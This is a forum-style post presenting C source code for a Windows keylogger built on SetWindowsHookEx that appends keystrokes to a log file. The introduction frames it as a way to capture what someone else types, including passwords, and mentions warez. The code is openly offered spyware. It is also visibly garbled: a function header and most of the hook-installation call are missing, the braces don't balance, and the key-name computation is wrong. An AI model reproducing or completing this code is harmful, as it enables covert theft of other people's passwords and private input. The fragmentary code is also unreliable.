Keylogger in C

Well after few days on internet i was thinking

something for you guys, then i ended up to this its a cool C

program code i found for you guys

just try it is really code.

 

Ok, how do i do this? 

what is a keylogger ?


it's a program that logs everything that you type on the keyboard.

What are it's usages to me?


Well, if you want to record everything someone types then you can then see anything you want like passwords and such.

How do i get one?


You can buy some corporate or home usage ones that are made for recording what employees are doing or what your kids are doing. that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.

 

You program one !!

If your new to programming then learn how to program in C then come back here. if you know how to program in c then read on.


There are two ways of making a keylogger: 


1. Using the GetAsyncKeyState API. look at svchost.c.
2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems.

 

The reason this way is prefered is because it is much more efficient that GetAsyncKeyState.

See for yourself.

No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned.

 

CODE

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.
#define _WIN32_WINNT 0x0400
#include <windows.h>
#include <winuser.h>
#include <stdio.h>
// Global Hook handle
HHOOK hKeyHook;
// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.
__declspec(dllexport) LRESULT CALLBACK KeyEvent (
  int nCode,      // The hook code
  WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  LPARAM lParam   // A pointer to a struct with information about the pressed key
) {
    if  ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event
        ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...
        (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.
    {
    //  This struct contains various information about
    //  the pressed key such as hardware scan code, virtual
    //  key code and further flags.
        KBDLLHOOKSTRUCT hooked =
            *((KBDLLHOOKSTRUCT*)lParam);
    //  dwMsg shall contain the information that would be stored
    //  in the usual lParam argument of a WM_KEYDOWN message.
    //  All information like hardware scan code and other flags
    //  are stored within one double word at different bit offsets.
    //  Refer to MSDN for further information:

        DWORD dwMsg = 1;

        dwMsg += hooked.flags << 24;
    //  Call the GetKeyNameText() function to get the language-dependant
    //  name of the pressed key. This function should return the name
    //  of the pressed key in your language, aka the language used on
    //  the system.
        char lpszName[0x100] = {0};
        lpszName[0] = '[';
        int i = GetKeyNameText(dwMsg,
            (lpszName+1),0xFF) + 1;

        FILE *file;
        file=fopen("keys.log","a+");
        fputs(lpszName,file);
        fflush(file);
    }
//  the return value of the CallNextHookEx routine is always
//  returned by your HookProc routine. This allows other
//  applications to install and handle the same hook as well.
    return CallNextHookEx(hKeyHook,
        nCode,wParam,lParam);
}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not
// perform any real task ...

{
    MSG message;
    while (GetMessage(&message,NULL,0,0)) {
        TranslateMessage( &message );
        DispatchMessage( &message );
    }

DWORD WINAPI KeyLogger(LPVOID lpParameter)
{
//  Get a module handle to our own executable. Usually,

    HINSTANCE hExe = GetModuleHandle(NULL);
    if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);

        NULL                       // and finally, the hook should monitor all threads.
    );
//  Loop forever in a message loop and if the loop
//  stops some time, unhook the hook. I could have
//  added a signal handler for ctrl-c that unhooks
//  the hook once the application is terminated by
//  the user, but I was too lazy.
    MsgLoop();
    UnhookWindowsHookEx(hKeyHook);

    }
}

 

Just compile this program i any C Compiler.
